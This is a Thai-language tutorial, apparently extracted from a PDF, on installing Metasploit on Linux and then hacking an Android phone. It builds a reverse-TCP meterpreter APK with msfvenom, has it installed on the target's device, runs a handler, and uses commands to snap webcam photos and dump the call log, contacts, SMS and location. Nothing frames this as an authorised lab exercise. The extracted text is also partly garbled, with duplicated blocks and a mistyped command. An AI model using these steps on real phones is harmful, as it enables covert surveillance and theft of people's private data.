
 

 

 

 

 

 

 



การตดิตัง้ Kali ทาํได้โดย Boot ไฟล์ .ISO ที่ตดิตัง้ใน HHD หรือ ตดิตัง้ใน VMware 

การตดิตัง้ Metaploit Framework  บนระบบปฏิบัตกิาร Linux 

 ในสวนน้ีจะพูดถึงวิธีการตดิตั้งโปรแกรม Metaploit บนระบบปฏิบัติการ Linux ซึ่งระบบปฏิบัติกาท่ีใชในการ

ทดสอบการติดตั้งในครั้งน้ีคือ  Debain 7.6 (Wheezy)  ฉะน้ันในตัวอยางน้ีจะสามารถนําไปใชในรบบปฏิบัติการ Ubuntu ได

เชนกัน ซึ่งวิธีท่ีจะแนะนํ้าในการตดิตั้งมีสองวิธีดวยกัน คือ 

 1.ดาวนโหลดไฟลติดตั้งจากเว็ปไซท (http://www.metasploit.com/)  

2. ติดตั้งจาก Github   

ซึ่งสองวิธีน้ีผูเขียนมองวาเปนวิธีงายและสะดวกท่ีสุด หรือถาหาผูใชไมตองการท่ีจะติดตั้งเองก็สามารถดาวนโหลดระบบปฏิบติ

การ Kali/Backtrack มาติดตั้งแลวสามารถใชไดในทันที 

 

ดาวน์โหลดไฟล์ตดิตัง้จากเว็ปไซท์ (http://www.metasploit.com/)  

ดาวน์โหลดไฟล์จากเว็ปไซท์ http://www.rapid7.com/products/metasploit/download.jsp  เลอืกหาหวัข้อ  

Metasploit Framework ดาวน์โหลดไฟล์ในหวัข้อ For Linux  ให้ดาวน์โหลดตามระบบปฏิบตัวิา่ทา่นลงก่ีบิต แล้วทําการอพั

โหลดขึน้เซิฟเวอร์หรือเคร่ืองของทา่น 

 

 

 

http://www.rapid7.com/products/metasploit/download.jsp%20%20%E0%B9%80%E0%B8%A5%E0%B8%B7%E0%B8%AD%E0%B8%81


 

 

หรือจะใช้คําสัง่เพ่ือดาวโหลดโดยตรงบน Command Line โดยใชค่ําสัง้ดงัตอ่ไปนี ้

64 Bit: wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run 

32 Bit wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run 

 

 

เข้าสู ่User Root ด้วยคําสัง่ Su (เนือ้งจากต้องใช่สทิธ์ของ Root ในกาตดิตัง้โปรแกรมเทา่นัน้) ถ้าหากพาสเวิร์ดของ Root 

ยงัไมไ่ด้ตัง้ให้ใชค่ําสัง้ Passwd root เพ่ือทําการกําหนดรหสั 

 

หลงัจากการดาวน์โหลดเรียบร้อยแล้วให้ทําการกําหนดสทิธ์ิในการ Execute ไฟล์ด้วยคาํสัง้ Chmod +x 

64 Bit   Chmod +x metasploit-latest-linux-x64-installer.run 

32 Bit  Chmod +x metasploit-latest-linux-installer.run 

ถา้หายงัไม่แน่ใจว่าสิทธ์ิในการ Execute ไฟล์ถูกกําหนดหรือยงัใหใ้ช้คําสัง้ ls –l ในไดเรกทอร่ีเก็บโปรแกรม 

 

ทําการติดตัง้โปรแกรมด้วยคาํสัง้ ./ 

64 Bit   ./metasploit-latest-linux-x64-installer.run 

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run


32 Bit   ./Chmod +x metasploit-latest-linux-installer.run 

โปรแกรมจะให้อา่นเง่ือนใขและข้อกําหนดในการใช้โปรแกรม ให้ทําการกด Enter ไปเร่ือยๆ 

 

 

โปรแกรมจะให้ตอบยอมรับของกําหนดให้ใส ่Y เพ่ือยืนยนัแล้วกด Enter 

 

 

โปรแกรมจะแจ้งท่ีอยูใ่นการติดตัง้โปรแกรม ถ้าหากจะตัง้คา่ Default ท่ีโปรแกรมกําหนดมาให้กด Enter ได้เลย 

 



 

โปรแกรมจะถ้ามวา่ต้องการติดตัง้ Metasploit Service หรือไม(่เมื่อเปิดเคร่ืองโปรแกรมจะถกูเรียกใชง่านทกุครัง้) ให้ตอบ

ตามท่ีผู้ใช้เห็นสมควร ในท่ีนีผู้้ เขยีนจะตอบ Y 

 

 

จากนัน้ให้กด Enter ไปเร่ือยๆจนเจอหน้าตาดงัรูป  

โปแกรมจําถ้ามวา่ต้องการจะสร้าง Certificate(https) สาํหรับ Web ui ให้ตอบตามสมควร ในท่ีนีผู้้ เขียนจะตอบ Y 

 

 

ตอบ Y เพ่ือยืนยนัการตดิตัง้ 

 

โปรแกรมจะทําการดาวน์โหลดโปรแกรมแลqคอนฟิกท่ีสาํคญั ให้รอสกัครู่ 



 

ตดิตัง้จาก Github   

1.ทาํการตรวจสอบ Update Repository และระบบปฏิบัตกิาร ด้วยคาํสัง้ 

apt-get update 

apt-get upgrade 

2.ตดิตัง้โปรแกรมท่ีจาํเป็นจาก Repository   

apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 

libsqlite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql 

pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev ruby1.9.3 

 

3.ตดิตัง้ metasploit ruby dependancies 

gem install wirble sqlite3 bundler 

4.ตดิตัง้ Nmap  

 apt-get install nmap 

5.การการดงึ Metaploit FrameWork จาก Github ด้วยคาํส่ัง 

 cd /opt 

 git clone https://github.com/rapid7/metasploit-framework.git 

 

 

6.Create global commands and install the gems 

apt-get update 

apt-get upgrade 

 

apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 

libsqlite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql 

pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev ruby1.9.3 

gem install wirble sqlite3 bundler 

 

apt-get install nmap 

 

 cd /opt 

 
 git clone https://github.com/rapid7/metasploit-framework.git 

 

 cd metasploit-framework 

 

 

https://github.com/rapid7/metasploit-framework.git
https://github.com/rapid7/metasploit-framework.git


 cd metasploit-framework 

 bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done' 

 bundle install 

6.ตัง้ค่า User และสร้าง Database สาํหรับ Metasploit 

 

 su postgres 

 createuser msf -P -S -R -D 

 createdb -O msf msf 

 exit 

7.สร้าง ไฟล์ท่ีใช่ในการตัง้ค่า เก่ียวกับ Database  nano /opt/metasploit-framework/database.yml 

แล้วทาํการเพิ่มขอความด่านล่าง 

production: 

   adapter: postgresql 

   database: msf 

   username: msf 

   password:  

   host: 127.0.0.1 

   port: 5432 

   pool: 75 

   timeout: 5 

 

8.Create an environmental variable 

sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/profilesource 

/etc/profile" 

9.ตดิตัง้  port scanning gem 

gem install pcaprub 

 

 

 bundle install 

 

 bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done' 

 

 

 exit 

 

 createdb -O msf msf 

 

 createuser msf -P -S -R -D 

 

 su postgres 

 production: 

    adapter: postgresql 

    database: msf 

    username: msf 

    password:  

    host: 127.0.0.1 

    port: 5432 

    pool: 75 

    timeout: 5 

 

 sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml 

>> /etc/profilesource /etc/profile" 

 

 

 gem install pcaprub 

 

 



• 1.เปิด console ขึน้มา 

• สร้างไฟล์ .APK (เพ่ือใช้ติดตัง้ท่ีเคร่ือง Android เป้าหมาย) โดยใช้คําสัง่ 

 msfvenom -p android/meterpreter/reverse_tcp 
LHOST=10.199.120.188(local ip or public ip) LPORT=443 R > 
anyname.apk 

นําไฟล์ .APK ท่ีได้ ไปติดตัง้ท่ีเคร่ือง Android เป้าหมาย  

 

2.พิมพ์    msfconsole  เพ่ือเป็นการเปิดใช้งาน metasploit console 

 

 

 

 

 

 

 

 

 



use exploit/multi/handler 

เซ็ท payload set payload android/meterpreter/reverse_tcp 

เซ็ท LHOST ไอพีต้นทาง 42set LHOST 10.199.120.188(local ip or public ip) 

exploit  เพ่ือใช้เร่ิม 

 

 

ตัวอย่างคาํส่ังต่าง ๆ

 



 
 

 

คาํส่ัง sysinfo ดูข้อมูลโทรศัพท์ที่เรากาํลังแฮก

 



คาํส่ัง webcam_snap ถ่ายรูปจากโทรศัพท์ที่เรากาํลังแฮก  

 

 

จะได้ไฟล์รูป  rgWUxyFp.jpeg 

 



คาํส่ัง dump_callog แฮกบันทกึการโทร 

 

 

คาํส่ัง dump_contact แฮกรายช่ือ เบอร์ตดิต่อทัง้หมด 

 



จะได้ไฟล์เอกสาร contacts_dump_20151028225049.txt

 

 

คาํส่ัง dump_sms แฮกบันทกึการรับ-ส่งข้อความ

 



จะได้ไฟล์เอกสาร sms_dump_20151028225140.txt

 

 

คาํส่ัง geolocate แฮกข้อมูลที่อยู่ของโทรศัพท์ขณะนัน้

 



จะได้ลิง้ค์ของ google map 
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